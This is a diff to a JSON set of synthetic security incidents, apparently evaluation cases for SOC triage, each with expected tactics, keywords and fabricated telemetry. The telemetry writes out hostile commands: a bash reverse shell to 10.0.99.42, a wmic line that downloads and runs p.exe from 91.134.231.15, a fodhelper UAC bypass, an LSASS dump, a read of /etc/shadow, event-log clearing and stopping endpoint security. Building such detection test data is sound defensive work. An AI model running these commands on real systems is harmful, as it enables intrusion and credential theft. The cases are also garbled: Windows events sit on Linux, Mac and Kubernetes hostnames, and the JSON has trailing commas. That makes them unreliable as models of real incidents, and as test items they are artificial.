+ "title": "Firmware implant detected on UEFI partition of MAC-CFO-LAPTOP",
+ "description": "UEFI secure-boot violation on MAC-CFO-LAPTOP. Unknown module detected in firmware. Signature matches MosaicRegressor implant.",
"expected_tactics": [
"TA0003",
"TA0005"
@@ -3957,14 +8134,34 @@
"firmware",
"implant",
"secure boot",
- "WIN-PROD-WEB02",
+ "MAC-CFO-LAPTOP",
"MosaicRegressor"
+ ],
+ "telemetry": [
+ {
+ "source": "windows_security",
+ "channel": "Security",
+ "Provider": "Microsoft-Windows-Security-Auditing",
+ "EventID": 4673,
+ "Computer": "MAC-CFO-LAPTOP",
+ "ObjectName": "\\Device\\HarddiskVolume1\\EFI\\Microsoft\\Boot\\bootmgfw.efi",
+ "ProcessName": "C:\\Windows\\System32\\driver_signing.exe"
+ },
+ {
+ "source": "edr",
+ "rule": "UEFI implant: MosaicRegressor signature match",
+ "severity": "critical",
+ "Computer": "MAC-CFO-LAPTOP",
+ "indicator_path": "ESP:/EFI/Boot/bootx64.efi"
+ }
]
},
{
"id": "INC-EVAL-179",
- "title": "Backdoor cron job installed on LIN-OBS-LOGGER",
- "description": "/etc/cron.d entry created by [email protected] on LIN-OBS-LOGGER. Reverse shell beacon to 10.0.99.42 every 5 minutes.",
+ "template_id": "cron-backdoor",
+ "template_index": 13,
+ "title": "Backdoor cron job installed on LIN-BUILD-CI03",
+ "description": "/etc/cron.d entry created by [email protected] on LIN-BUILD-CI03. Reverse shell beacon to 10.0.99.42 every 5 minutes.",
"expected_tactics": [
"TA0003",
"TA0011"
@@ -3979,15 +8176,35 @@
"cron",
"backdoor",
"reverse shell",
- "LIN-OBS-LOGGER",
+ "LIN-BUILD-CI03",
"10.0.99.42"
+ ],
+ "telemetry": [
+ {
+ "source": "linux_auditd",
+ "type": "SYSCALL",
+ "syscall": "openat",
+ "exe": "/usr/bin/vi",
+ "path": "/etc/cron.d/zz-update",
+ "hostname": "LIN-BUILD-CI03",
+ "user": "[email protected]",
+ "a2": "O_WRONLY|O_CREAT"
+ },
+ {
+ "source": "linux_journald",
+ "_SYSTEMD_UNIT": "cron.service",
+ "MESSAGE": "(root) CMD (/bin/bash -i >& /dev/tcp/10.0.99.42/4444 0>&1)",
+ "hostname": "LIN-BUILD-CI03"
+ }
]
},
{
"id": "INC-EVAL-180",
- "title": "UAC bypass observed on WIN-EXCHANGE-01",
- "description": "fodhelper.exe abuse on WIN-EXCHANGE-01 by [email protected]; auto-elevation triggered without prompt. Process tree shows escalation to SYSTEM.",
+ "template_id": "uac-bypass-fodhelper",
+ "template_index": 14,
+ "title": "UAC bypass observed on LIN-BUILD-CI03",
+ "description": "fodhelper.exe abuse on LIN-BUILD-CI03 by [email protected]; auto-elevation triggered without prompt. Process tree shows escalation to SYSTEM.",
"expected_tactics": [
"TA0004",
"TA0005"
@@ -4001,15 +8218,41 @@
"UAC",
"fodhelper",
"auto-elevation",
- "WIN-EXCHANGE-01",
+ "LIN-BUILD-CI03",
"SYSTEM"
+ ],
+ "telemetry": [
+ {
+ "source": "sysmon",
+ "channel": "Microsoft-Windows-Sysmon/Operational",
+ "Provider": "Microsoft-Windows-Sysmon",
+ "EventID": 13,
+ "Computer": "LIN-BUILD-CI03",
+ "User": "[email protected]",
+ "EventType": "SetValue",
+ "TargetObject": "HKCU\\Software\\Classes\\ms-settings\\Shell\\Open\\command",
+ "Details": "C:\\Windows\\System32\\cmd.exe /c whoami"
+ },
+ {
+ "source": "sysmon",
+ "channel": "Microsoft-Windows-Sysmon/Operational",
+ "Provider": "Microsoft-Windows-Sysmon",
+ "EventID": 1,
+ "Computer": "LIN-BUILD-CI03",
+ "Image": "C:\\Windows\\System32\\fodhelper.exe",
+ "ParentImage": "C:\\Windows\\explorer.exe",
+ "IntegrityLevel": "High",
+ "User": "SYSTEM"
+ }
]
},
{
"id": "INC-EVAL-181",
- "title": "Container escape via privileged pod on LIN-BUILD-CI03",
- "description": "Kubernetes privileged pod created on LIN-BUILD-CI03 by [email protected]. cgroup escape to host namespace observed. Node filesystem accessed.",
+ "template_id": "k8s-privileged-pod-escape",
+ "template_index": 15,
+ "title": "Container escape via privileged pod on WIN-DC-SECONDARY",
+ "description": "Kubernetes privileged pod created on WIN-DC-SECONDARY by [email protected]. cgroup escape to host namespace observed. Node filesystem accessed.",
"expected_tactics": [
"TA0004",
"TA0007"
@@ -4025,14 +8268,58 @@
"privileged pod",
"container escape",
"cgroup",
- "LIN-BUILD-CI03",
+ "WIN-DC-SECONDARY",
+ ],
+ "telemetry": [
+ {
+ "source": "k8s_audit",
+ "apiVersion": "audit.k8s.io/v1",
+ "kind": "Event",
+ "verb": "create",
+ "objectRef": {
+ "resource": "pods"
+ },
+ "user": {
+ "username": "[email protected]"
+ },
+ "requestObject": {
+ "spec": {
+ "containers": [
+ {
+ "name": "x",
+ "image": "alpine",
+ "securityContext": {
+ "privileged": true
+ }
+ }
+ ],
+ "hostPID": true
+ }
+ },
+ "stage": "ResponseComplete",
+ "responseStatus": {
+ "code": 201
+ },
+ "node": "WIN-DC-SECONDARY"
+ },
+ {
+ "source": "linux_auditd",
+ "type": "SYSCALL",
+ "syscall": "openat",
+ "exe": "/bin/sh",
+ "path": "/host/etc/shadow",
+ "hostname": "WIN-DC-SECONDARY",
+ "user": "root"
+ }
]
},
{
"id": "INC-EVAL-182",
+ "template_id": "linux-suid-abuse",
+ "template_index": 16,
"title": "Linux SUID binary abuse on WIN-DC-SECONDARY",
- "description": "Custom SUID binary discovered in /tmp on WIN-DC-SECONDARY; allows arbitrary command execution as root. Likely escalation by [email protected].",
+ "description": "Custom SUID binary discovered in /tmp on WIN-DC-SECONDARY; allows arbitrary command execution as root. Likely escalation by [email protected].",
"expected_tactics": [
"TA0004"
],
@@ -4046,13 +8333,37 @@
"/tmp",
"root escalation",
"WIN-DC-SECONDARY",
+ ],
+ "telemetry": [
+ {
+ "source": "linux_auditd",
+ "type": "SYSCALL",
+ "syscall": "chmod",
+ "exe": "/bin/chmod",
+ "a1": "/tmp/.x",
+ "mode": "04755",
+ "hostname": "WIN-DC-SECONDARY",
+ "user": "[email protected]"
+ },
+ {
+ "source": "linux_auditd",
+ "type": "SYSCALL",
+ "syscall": "execve",
+ "exe": "/tmp/.x",
+ "hostname": "WIN-DC-SECONDARY",
+ "uid": 1001,
+ "euid": 0,
+ "user": "[email protected]"
+ }
]
},
{
"id": "INC-EVAL-183",
- "title": "Memory-only fileless implant in svchost on WIN-DC-PRIMARY",
- "description": "Process hollowing detected on WIN-DC-PRIMARY: svchost.exe replaced with Cobalt Strike beacon to 203.0.113.45. No disk artefacts. Linked to MagicWeb.",
+ "template_id": "process-hollowing-svchost",
+ "template_index": 17,
+ "title": "Memory-only fileless implant in svchost on WIN-FILE-SHARE",
+ "description": "Process hollowing detected on WIN-FILE-SHARE: svchost.exe replaced with Cobalt Strike beacon to 192.168.1.100. No disk artefacts. Linked to ALPHV/BlackCat.",
"expected_tactics": [
"TA0002",
"TA0005"
@@ -4068,14 +8379,48 @@
"fileless",
"svchost",
"Cobalt Strike",
- "WIN-DC-PRIMARY",
- "203.0.113.45"
+ "WIN-FILE-SHARE",
+ "192.168.1.100"
+ ],
+ "telemetry": [
+ {
+ "source": "sysmon",
+ "channel": "Microsoft-Windows-Sysmon/Operational",
+ "Provider": "Microsoft-Windows-Sysmon",
+ "EventID": 8,
+ "Computer": "WIN-FILE-SHARE",
+ "SourceImage": "C:\\Windows\\System32\\powershell.exe",
+ "TargetImage": "C:\\Windows\\System32\\svchost.exe",
+ "StartFunction": "LoadLibraryW",
+ "NewThreadId": 4716
+ },
+ {
+ "source": "sysmon",
+ "channel": "Microsoft-Windows-Sysmon/Operational",
+ "Provider": "Microsoft-Windows-Sysmon",
+ "EventID": 3,
+ "Computer": "WIN-FILE-SHARE",
+ "Image": "C:\\Windows\\System32\\svchost.exe",
+ "DestinationIp": "192.168.1.100",
+ "DestinationPort": 443,
+ "Protocol": "tcp",
+ "ja3": "a0e9f5d64349fb13191bc781f81f42e1"
+ },
+ {
+ "source": "edr",
+ "rule": "Cobalt Strike beacon (process hollowing)",
+ "severity": "high",
+ "Computer": "WIN-FILE-SHARE",
+ "threat_actor": "ALPHV/BlackCat"
+ }
]
},
{
"id": "INC-EVAL-184",
- "title": "Indicator removal: Windows event log cleared on WIN-PROD-WEB02",
- "description": "Security event log cleared on WIN-PROD-WEB02 by [email protected]. wevtutil.exe cl Security observed in command-line telemetry.",
+ "template_id": "event-log-cleared",
+ "template_index": 18,
+ "title": "Indicator removal: Windows event log cleared on LIN-EDGE-VPN02",
+ "description": "Security event log cleared on LIN-EDGE-VPN02 by [email protected]. wevtutil.exe cl Security observed in command-line telemetry.",
"expected_tactics": [
"TA0005"
],
@@ -4088,14 +8433,38 @@
"wevtutil",
"log cleared",
"indicator removal",
- "WIN-PROD-WEB02",
+ "LIN-EDGE-VPN02",
+ ],
+ "telemetry": [
+ {
+ "source": "windows_security",
+ "channel": "Security",
+ "Provider": "Microsoft-Windows-Security-Auditing",
+ "EventID": 1102,
+ "Computer": "LIN-EDGE-VPN02",
+ "SubjectUserName": "[email protected]",
+ "Channel": "Security",
+ "Description": "The audit log was cleared."
+ },
+ {
+ "source": "sysmon",
+ "channel": "Microsoft-Windows-Sysmon/Operational",
+ "Provider": "Microsoft-Windows-Sysmon",
+ "EventID": 1,
+ "Computer": "LIN-EDGE-VPN02",
+ "User": "[email protected]",
+ "Image": "C:\\Windows\\System32\\wevtutil.exe",
+ "CommandLine": "wevtutil cl Security"
+ }
]
},
{
"id": "INC-EVAL-185",
- "title": "Disable security tooling on WIN-PROD-WEB02",
- "description": "[email protected] attempted to stop Defender, CrowdStrike, and Sysmon on WIN-PROD-WEB02. Tampering telemetry triggered alert.",
+ "template_id": "disable-edr-tooling",
+ "template_index": 19,
+ "title": "Disable security tooling on LIN-K8S-NODE01",
+ "description": "[email protected] attempted to stop Defender, CrowdStrike, and Sysmon on LIN-K8S-NODE01. Tampering telemetry triggered alert.",
"expected_tactics": [
"TA0005"
],
@@ -4109,14 +8478,45 @@
"crowdstrike",
"sysmon",
"tampering",
- "WIN-PROD-WEB02",
+ "LIN-K8S-NODE01",
+ ],
+ "telemetry": [
+ {
+ "source": "sysmon",
+ "channel": "Microsoft-Windows-Sysmon/Operational",
+ "Provider": "Microsoft-Windows-Sysmon",
+ "EventID": 1,
+ "Computer": "LIN-K8S-NODE01",
+ "User": "[email protected]",
+ "Image": "C:\\Windows\\System32\\sc.exe",
+ "CommandLine": "sc.exe stop CSAgent"
+ },
+ {
+ "source": "sysmon",
+ "channel": "Microsoft-Windows-Sysmon/Operational",
+ "Provider": "Microsoft-Windows-Sysmon",
+ "EventID": 1,
+ "Computer": "LIN-K8S-NODE01",
+ "User": "[email protected]",
+ "Image": "C:\\Windows\\System32\\sc.exe",
+ "CommandLine": "sc.exe stop WinDefend"
+ },
+ {
+ "source": "edr",
+ "rule": "EDR tampering attempt",
+ "severity": "critical",
+ "Computer": "LIN-K8S-NODE01",
+ "User": "[email protected]"
+ }
]
},
{
"id": "INC-EVAL-186",
- "title": "LSASS memory dump on WIN-PROD-WEB02 by [email protected]",
- "description": "comsvcs.dll MiniDump observed on WIN-PROD-WEB02. lsass.exe memory dumped to C:\\Windows\\Temp\\. Mimikatz signatures detected.",
+ "template_id": "lsass-memory-dump",
+ "template_index": 20,
+ "title": "LSASS memory dump on K8S-PROD-CLUSTER by [email protected]",
+ "description": "comsvcs.dll MiniDump observed on K8S-PROD-CLUSTER. lsass.exe memory dumped to C:\\Windows\\Temp\\. Mimikatz signatures detected.",
"expected_tactics": [
"TA0006"
],
@@ -4130,14 +8530,40 @@
"minidump",
"comsvcs",
"mimikatz",
- "WIN-PROD-WEB02",
+ "K8S-PROD-CLUSTER",
+ ],
+ "telemetry": [
+ {
+ "source": "sysmon",
+ "channel": "Microsoft-Windows-Sysmon/Operational",
+ "Provider": "Microsoft-Windows-Sysmon",
+ "EventID": 10,
+ "Computer": "K8S-PROD-CLUSTER",
+ "SourceImage": "C:\\Windows\\System32\\rundll32.exe",
+ "TargetImage": "C:\\Windows\\System32\\lsass.exe",
+ "GrantedAccess": "0x1010",
+ "CallTrace": "comsvcs.dll+5d24|MiniDumpWriteDump",
+ "User": "[email protected]"
+ },
+ {
+ "source": "sysmon",
+ "channel": "Microsoft-Windows-Sysmon/Operational",
+ "Provider": "Microsoft-Windows-Sysmon",
+ "EventID": 11,
+ "Computer": "K8S-PROD-CLUSTER",
+ "Image": "C:\\Windows\\System32\\rundll32.exe",
+ "TargetFilename": "C:\\Windows\\Temp\\lsass.dmp",
+ "User": "[email protected]"
+ }
]
},
{
"id": "INC-EVAL-187",
- "title": "Brute-force credential spray against [email protected] from 10.0.99.42",
- "description": "Credential spray from 10.0.99.42 against [email protected]. 1500 password attempts in 30 minutes. One success followed by anomalous Azure AD sign-in.",
+ "template_id": "credential-spray",
+ "template_index": 21,
+ "title": "Brute-force credential spray against [email protected] from 198.51.100.23",
+ "description": "Credential spray from 198.51.100.23 against [email protected]. 1500 password attempts in 30 minutes. One success followed by anomalous Azure AD sign-in.",
"expected_tactics": [
"TA0006"
],
@@ -4149,15 +8575,39 @@
"evidence_keywords": [
"brute force",
"credential spray",
- "10.0.99.42",
+ "198.51.100.23",
"azure ad"
+ ],
+ "telemetry": [
+ {
+ "source": "azure_signin",
+ "category": "SignInLogs",
+ "userPrincipalName": "[email protected]",
+ "ipAddress": "198.51.100.23",
+ "resultType": 50126,
+ "resultDescription": "Invalid username or password",
+ "appDisplayName": "Office 365 Exchange Online",
+ "attempt_count": 1500
+ },
+ {
+ "source": "azure_signin",
+ "category": "SignInLogs",
+ "userPrincipalName": "[email protected]",
+ "ipAddress": "198.51.100.23",
+ "resultType": 0,
+ "resultDescription": "Success",
+ "conditionalAccessStatus": "success",
+ "riskLevelAggregated": "high"
+ }
]
},
{
"id": "INC-EVAL-188",
- "title": "Kerberoasting from MAC-CFO-LAPTOP",
- "description": "Service account TGS tickets requested en-masse from MAC-CFO-LAPTOP by [email protected]. AES256 \u2192 RC4 downgrade observed. Mimikatz tooling indicators.",
+ "template_id": "kerberoasting",
+ "template_index": 22,
+ "title": "Kerberoasting from WIN-FIN-DB01",
+ "description": "Service account TGS tickets requested en-masse from WIN-FIN-DB01 by [email protected]. AES256 \u2192 RC4 downgrade observed. Mimikatz tooling indicators.",
"expected_tactics": [
"TA0006",
"TA0008"
@@ -4173,14 +8623,40 @@
"TGS",
"RC4",
"mimikatz",
- "MAC-CFO-LAPTOP",
+ "WIN-FIN-DB01",
+ ],
+ "telemetry": [
+ {
+ "source": "windows_security",
+ "channel": "Security",
+ "Provider": "Microsoft-Windows-Security-Auditing",
+ "EventID": 4769,
+ "Computer": "WIN-DC-PRIMARY",
+ "TargetUserName": "[email protected]",
+ "ServiceName": "MSSQLSvc/sql.aisoc.dev",
+ "TicketEncryptionType": "0x17",
+ "IpAddress": "WIN-FIN-DB01"
+ },
+ {
+ "source": "windows_security",
+ "channel": "Security",
+ "Provider": "Microsoft-Windows-Security-Auditing",
+ "EventID": 4769,
+ "Computer": "WIN-DC-PRIMARY",
+ "TargetUserName": "[email protected]",
+ "ServiceName": "HTTP/web01.aisoc.dev",
+ "TicketEncryptionType": "0x17",
+ "IpAddress": "WIN-FIN-DB01"
+ }
]
},
{
"id": "INC-EVAL-189",
- "title": "Active Directory DCSync from non-DC host WIN-DC-PRIMARY",
- "description": "Replication rights abused from WIN-DC-PRIMARY by [email protected]. All domain NTLM hashes replicated. Severe credential exposure.",
+ "template_id": "ad-dcsync",
+ "template_index": 23,
+ "title": "Active Directory DCSync from non-DC host LIN-OBS-LOGGER",
+ "description": "Replication rights abused from LIN-OBS-LOGGER by [email protected]. All domain NTLM hashes replicated. Severe credential exposure.",
"expected_tactics": [
"TA0006",
"TA0004"
@@ -4195,14 +8671,30 @@
"dcsync",
"replication",
"ntlm hash",
- "WIN-DC-PRIMARY",
+ "LIN-OBS-LOGGER",
+ ],
+ "telemetry": [
+ {
+ "source": "windows_security",
+ "channel": "Security",
+ "Provider": "Microsoft-Windows-Security-Auditing",
+ "EventID": 4662,
+ "Computer": "WIN-DC-PRIMARY",
+ "SubjectUserName": "[email protected]",
+ "ObjectServer": "DS",
+ "ObjectType": "domainDNS",
+ "Properties": "1131f6aa-9c07-11d1-f79f-00c04fc2dcd2",
+ "ClientIP": "LIN-OBS-LOGGER"
+ }
]
},
{
"id": "INC-EVAL-190",
- "title": "SAML golden-ticket: forged assertion targeting [email protected]",
- "description": "Forged SAML assertion detected for [email protected]. Attacker pivoted to Azure AD; account enumeration followed from 203.0.113.45.",
+ "template_id": "saml-golden-ticket",
+ "template_index": 24,
+ "title": "SAML golden-ticket: forged assertion targeting [email protected]",
+ "description": "Forged SAML assertion detected for [email protected]. Attacker pivoted to Azure AD; account enumeration followed from 198.51.100.23.",
"expected_tactics": [
"TA0006",
"TA0007"
@@ -4218,14 +8710,45 @@
"golden ticket",
"forged",
"azure ad",
- "203.0.113.45"
+ "198.51.100.23"
+ ],
+ "telemetry": [
+ {
+ "source": "azure_signin",
+ "category": "SignInLogs",
+ "userPrincipalName": "[email protected]",
+ "ipAddress": "198.51.100.23",
+ "resultType": 0,
+ "authenticationDetails": [
+ {
+ "authenticationMethod": "Federated",
+ "succeeded": true
+ }
+ ],
+ "tokenIssuerType": "ADFederationServices",
+ "tokenIssuerName": "forged-adfs.aisoc.dev"
+ },
+ {
+ "source": "m365_audit",
+ "Workload": "AzureActiveDirectory",
+ "Operation": "Add member to role.",
+ "UserId": "[email protected]",
+ "ModifiedProperties": [
+ {
+ "Name": "Role.DisplayName",
+ "NewValue": "Global Administrator"
+ }
+ ]
+ }
]
},
{
"id": "INC-EVAL-191",
- "title": "Domain enumeration from LIN-K8S-NODE01",
- "description": "ldap discovery from LIN-K8S-NODE01 by [email protected]: BloodHound-style queries enumerating users, groups, ACLs.",
+ "template_id": "ldap-bloodhound-discovery",
+ "template_index": 25,
+ "title": "Domain enumeration from AWS-EC2-PROD-API",
+ "description": "ldap discovery from AWS-EC2-PROD-API by [email protected]: BloodHound-style queries enumerating users, groups, ACLs.",
"expected_tactics": [
"TA0007"
],
@@ -4238,14 +8761,40 @@
"ldap",
"bloodhound",
"domain enumeration",
- "LIN-K8S-NODE01",
+ "AWS-EC2-PROD-API",
+ ],
+ "telemetry": [
+ {
+ "source": "sysmon",
+ "channel": "Microsoft-Windows-Sysmon/Operational",
+ "Provider": "Microsoft-Windows-Sysmon",
+ "EventID": 3,
+ "Computer": "AWS-EC2-PROD-API",
+ "Image": "C:\\Tools\\SharpHound.exe",
+ "DestinationIp": "WIN-DC-PRIMARY",
+ "DestinationPort": 389,
+ "User": "[email protected]"
+ },
+ {
+ "source": "windows_security",
+ "channel": "Security",
+ "Provider": "Microsoft-Windows-Security-Auditing",
+ "EventID": 4662,
+ "Computer": "WIN-DC-PRIMARY",
+ "SubjectUserName": "[email protected]",
+ "ObjectType": "user",
+ "AccessMask": "0x100",
+ "EventCount": 8400
+ }
]
},
{
"id": "INC-EVAL-192",
- "title": "Network share enumeration on LIN-OBS-LOGGER",
- "description": "Mass SMB share enumeration from LIN-OBS-LOGGER by [email protected]; net.exe and PowerShell Get-SmbShare invocations across /24 subnet.",
+ "template_id": "smb-share-enumeration",
+ "template_index": 26,
+ "title": "Network share enumeration on LIN-DB-REPLICA",
+ "description": "Mass SMB share enumeration from LIN-DB-REPLICA by [email protected]; net.exe and PowerShell Get-SmbShare invocations across /24 subnet.",
"expected_tactics": [
"TA0007"
],
@@ -4259,14 +8808,39 @@
"net.exe",
"Get-SmbShare",
"share enumeration",
- "LIN-OBS-LOGGER",
+ "LIN-DB-REPLICA",
+ ],
+ "telemetry": [
+ {
+ "source": "sysmon",
+ "channel": "Microsoft-Windows-Sysmon/Operational",
+ "Provider": "Microsoft-Windows-Sysmon",
+ "EventID": 1,
+ "Computer": "LIN-DB-REPLICA",
+ "User": "[email protected]",
+ "Image": "C:\\Windows\\System32\\net.exe",
+ "CommandLine": "net.exe view /domain"
+ },
+ {
+ "source": "windows_security",
+ "channel": "Security",
+ "Provider": "Microsoft-Windows-Security-Auditing",
+ "EventID": 5145,
+ "Computer": "WIN-FILE-SHARE",
+ "SubjectUserName": "[email protected]",
+ "ShareName": "\\\\*\\*",
+ "IpAddress": "LIN-DB-REPLICA",
+ "EventCount": 256
+ }
]
},
{
"id": "INC-EVAL-193",
- "title": "Pass-the-hash from AZURE-VM-FIN-001 to WIN-DC-PRIMARY",
- "description": "Pass-the-hash lateral movement from AZURE-VM-FIN-001 to WIN-DC-PRIMARY by [email protected]. Golden ticket indicators present. Linked to FIN7.",
+ "template_id": "pass-the-hash-lateral",
+ "template_index": 27,
+ "title": "Pass-the-hash from WIN-EXCHANGE-01 to AWS-EC2-PROD-API",
+ "description": "Pass-the-hash lateral movement from WIN-EXCHANGE-01 to AWS-EC2-PROD-API by [email protected]. Golden ticket indicators present. Linked to Lazarus.",
"expected_tactics": [
"TA0008",
"TA0006"
@@ -4280,16 +8854,41 @@
"evidence_keywords": [
"pass-the-hash",
"golden ticket",
- "AZURE-VM-FIN-001",
- "WIN-DC-PRIMARY",
- "FIN7"
+ "WIN-EXCHANGE-01",
+ "AWS-EC2-PROD-API",
+ "Lazarus"
+ ],
+ "telemetry": [
+ {
+ "source": "windows_security",
+ "channel": "Security",
+ "Provider": "Microsoft-Windows-Security-Auditing",
+ "EventID": 4624,
+ "Computer": "AWS-EC2-PROD-API",
+ "TargetUserName": "[email protected]",
+ "LogonType": 3,
+ "AuthenticationPackageName": "NTLM",
+ "IpAddress": "WIN-EXCHANGE-01",
+ "LogonProcessName": "NtLmSsp"
+ },
+ {
+ "source": "edr",
+ "rule": "Pass-the-hash indicators (NTLM hash reuse)",
+ "severity": "high",
+ "Computer": "AWS-EC2-PROD-API",
+ "Source": "WIN-EXCHANGE-01",
+ "User": "[email protected]",
+ "threat_actor": "Lazarus"
+ }
]
},
{
"id": "INC-EVAL-194",
- "title": "RDP lateral movement from LIN-EDGE-VPN02",
- "description": "Anomalous RDP session from LIN-EDGE-VPN02 ([email protected]) to LIN-DB-REPLICA outside business hours. Source admin not normal for LIN-DB-REPLICA.",
+ "template_id": "rdp-lateral-movement",
+ "template_index": 28,
+ "title": "RDP lateral movement from WIN-DEVOPS-LT",
+ "description": "Anomalous RDP session from WIN-DEVOPS-LT ([email protected]) to MAC-CFO-LAPTOP outside business hours. Source admin not normal for MAC-CFO-LAPTOP.",
"expected_tactics": [
"TA0008"
],
@@ -4302,15 +8901,31 @@
"rdp",
"lateral movement",
"outside hours",
- "LIN-EDGE-VPN02",
- "LIN-DB-REPLICA",
+ "WIN-DEVOPS-LT",
+ "MAC-CFO-LAPTOP",
+ ],
+ "telemetry": [
+ {
+ "source": "windows_security",
+ "channel": "Security",
+ "Provider": "Microsoft-Windows-Security-Auditing",
+ "EventID": 4624,
+ "Computer": "MAC-CFO-LAPTOP",
+ "TargetUserName": "[email protected]",
+ "LogonType": 10,
+ "IpAddress": "WIN-DEVOPS-LT",
+ "LogonProcessName": "User32",
+ "EventTimeUTC": "03:14:00Z"
+ }
]
},
{
"id": "INC-EVAL-195",
- "title": "WMI lateral execution from WIN-EXCHANGE-01 to AZURE-VM-FIN-001",
- "description": "wmic.exe /node:AZURE-VM-FIN-001 process call create observed from WIN-EXCHANGE-01 by [email protected]. Remote command execution; payload from 198.51.100.23.",
+ "template_id": "wmi-lateral-execution",
+ "template_index": 29,
+ "title": "WMI lateral execution from WIN-FILE-SHARE to LIN-DB-REPLICA",
+ "description": "wmic.exe /node:LIN-DB-REPLICA process call create observed from WIN-FILE-SHARE by [email protected]. Remote command execution; payload from 91.134.231.15.",
"expected_tactics": [
"TA0008",
"TA0002"
@@ -4323,16 +8938,30 @@
"evidence_keywords": [
"wmic",
"lateral",
- "WIN-EXCHANGE-01",
- "AZURE-VM-FIN-001",
- "198.51.100.23"
+ "WIN-FILE-SHARE",
+ "LIN-DB-REPLICA",
+ "91.134.231.15"
+ ],
+ "telemetry": [
+ {
+ "source": "sysmon",
+ "channel": "Microsoft-Windows-Sysmon/Operational",
+ "Provider": "Microsoft-Windows-Sysmon",
+ "EventID": 1,
+ "Computer": "WIN-FILE-SHARE",
+ "User": "[email protected]",
+ "Image": "C:\\Windows\\System32\\wbem\\wmic.exe",
+ "CommandLine": "wmic /node:LIN-DB-REPLICA process call create \"cmd /c curl http://91.134.231.15/p.exe -o C:\\Users\\Public\\p.exe && C:\\Users\\Public\\p.exe\""
+ }
]
},
{
"id": "INC-EVAL-196",
- "title": "Bulk PII download by [email protected]",
- "description": "[email protected] downloaded >10 GB of customer records from production database from WIN-DC-PRIMARY. Outside normal access pattern.",
+ "template_id": "bulk-pii-download",
+ "template_index": 30,
+ "title": "Bulk PII download by [email protected]",
+ "description": "[email protected] downloaded >10 GB of customer records from production database from LIN-K8S-NODE01. Outside normal access pattern.",
"expected_tactics": [
"TA0009",
"TA0010"
@@ -4347,14 +8976,28 @@
"bulk download",
"pii",
"customer record",
- "WIN-DC-PRIMARY",
+ "LIN-K8S-NODE01",
+ ],
+ "telemetry": [
+ {
+ "source": "db_audit",
+ "operation": "SELECT",
+ "user": "[email protected]",
+ "src_host": "LIN-K8S-NODE01",
+ "database": "prod_customers",
+ "table": "customer_records",
+ "rows_returned": 4200000,
+ "bytes": 10700000000
+ }
]
},
{
"id": "INC-EVAL-197",
- "title": "Clipboard logging implant on WIN-FIN-DB01",
- "description": "Clipboard contents from WIN-FIN-DB01 ([email protected]) being captured to %APPDATA%\\Local\\. Captures span 2 hours and include credentials and crypto addresses.",
+ "template_id": "clipboard-keylogger",
+ "template_index": 31,
+ "title": "Clipboard logging implant on WIN-PROD-WEB02",
+ "description": "Clipboard contents from WIN-PROD-WEB02 ([email protected]) being captured to %APPDATA%\\Local\\. Captures span 2 hours and include credentials and crypto addresses.",
"expected_tactics": [
"TA0009"
],
@@ -4367,14 +9010,38 @@
"clipboard",
"keylog",
"credentials",
- "WIN-FIN-DB01",
+ "WIN-PROD-WEB02",
+ ],
+ "telemetry": [
+ {
+ "source": "sysmon",
+ "channel": "Microsoft-Windows-Sysmon/Operational",
+ "Provider": "Microsoft-Windows-Sysmon",
+ "EventID": 24,
+ "Computer": "WIN-PROD-WEB02",
+ "User": "[email protected]",
+ "Image": "C:\\Users\\[email protected]\\AppData\\Local\\sched.exe",
+ "Hashes": "SHA256=abc..."
+ },
+ {
+ "source": "sysmon",
+ "channel": "Microsoft-Windows-Sysmon/Operational",
+ "Provider": "Microsoft-Windows-Sysmon",
+ "EventID": 11,
+ "Computer": "WIN-PROD-WEB02",
+ "Image": "C:\\Users\\[email protected]\\AppData\\Local\\sched.exe",
+ "TargetFilename": "C:\\Users\\[email protected]\\AppData\\Local\\clip.log",
+ "User": "[email protected]"
+ }
]
},
{
"id": "INC-EVAL-198",
- "title": "DNS tunnelling exfiltration from AZURE-VM-FIN-001",
- "description": "DNS query volume from AZURE-VM-FIN-001 50\u00d7 baseline. TXT records contain base64-encoded payloads. Estimated exfil ~200 MB; destination 91.134.231.15.",
+ "template_id": "dns-tunnel-exfil",
+ "template_index": 32,
+ "title": "DNS tunnelling exfiltration from WIN-PROD-WEB02",
+ "description": "DNS query volume from WIN-PROD-WEB02 50\u00d7 baseline. TXT records contain base64-encoded payloads. Estimated exfil ~200 MB; destination 203.0.113.45.",
"expected_tactics": [
"TA0011",
"TA0010"
@@ -4390,14 +9057,27 @@
"txt records",
"base64",
"exfiltrat",
- "AZURE-VM-FIN-001",
- "91.134.231.15"
+ "WIN-PROD-WEB02",
+ "203.0.113.45"
+ ],
+ "telemetry": [
+ {
+ "source": "dns",
+ "query_name": "aGVsbG8gd29ybGQK.exfil.203.0.113.45.in-addr.arpa",
+ "query_type": "TXT",
+ "src_host": "WIN-PROD-WEB02",
+ "dst_ip": "203.0.113.45",
+ "response_size": 512,
+ "qps": 240
+ }
]
},
{
"id": "INC-EVAL-199",
- "title": "Cloud storage exfil: data egress to attacker-controlled S3 from LIN-BUILD-CI03",
- "description": "Egress from LIN-BUILD-CI03 to s3://atk-stage-198.51.100.23/dump/ by [email protected]. 8 GB transferred over 20 minutes. CloudTrail PutObject events match.",
+ "template_id": "s3-exfil-cloud-storage",
+ "template_index": 33,
+ "title": "Cloud storage exfil: data egress to attacker-controlled S3 from K8S-PROD-CLUSTER",
+ "description": "Egress from K8S-PROD-CLUSTER to s3://atk-stage-45.142.122.111/dump/ by [email protected]. 8 GB transferred over 20 minutes. CloudTrail PutObject events match.",
"expected_tactics": [
"TA0010"
],
@@ -4411,15 +9091,39 @@
"cloud storage",
"egress",
"exfiltrat",
- "LIN-BUILD-CI03",
- "198.51.100.23",
+ "K8S-PROD-CLUSTER",
+ "45.142.122.111",
+ ],
+ "telemetry": [
+ {
+ "source": "cloudtrail",
+ "eventName": "PutObject",
+ "eventSource": "s3.amazonaws.com",
+ "awsRegion": "us-east-1",
+ "userIdentity": {
+ "type": "IAMUser",
+ "userName": "[email protected]"
+ },
+ "sourceIPAddress": "K8S-PROD-CLUSTER",
+ "requestParameters": {
+ "bucketName": "atk-stage-45.142.122.111",
+ "key": "dump/customers.tar.gz"
+ },
+ "resources": [
+ {
+ "ARN": "arn:aws:s3:::atk-stage-45.142.122.111/dump/customers.tar.gz"
+ }
+ ]
+ }
]
},
{
"id": "INC-EVAL-200",
- "title": "Personal Drive exfil by [email protected]",
- "description": "[email protected] on AZURE-VM-FIN-001 uploaded 4 GB to personal Google Drive. Files include source code and customer PII.",
+ "template_id": "personal-drive-exfil",
+ "template_index": 34,
+ "title": "Personal Drive exfil by [email protected]",
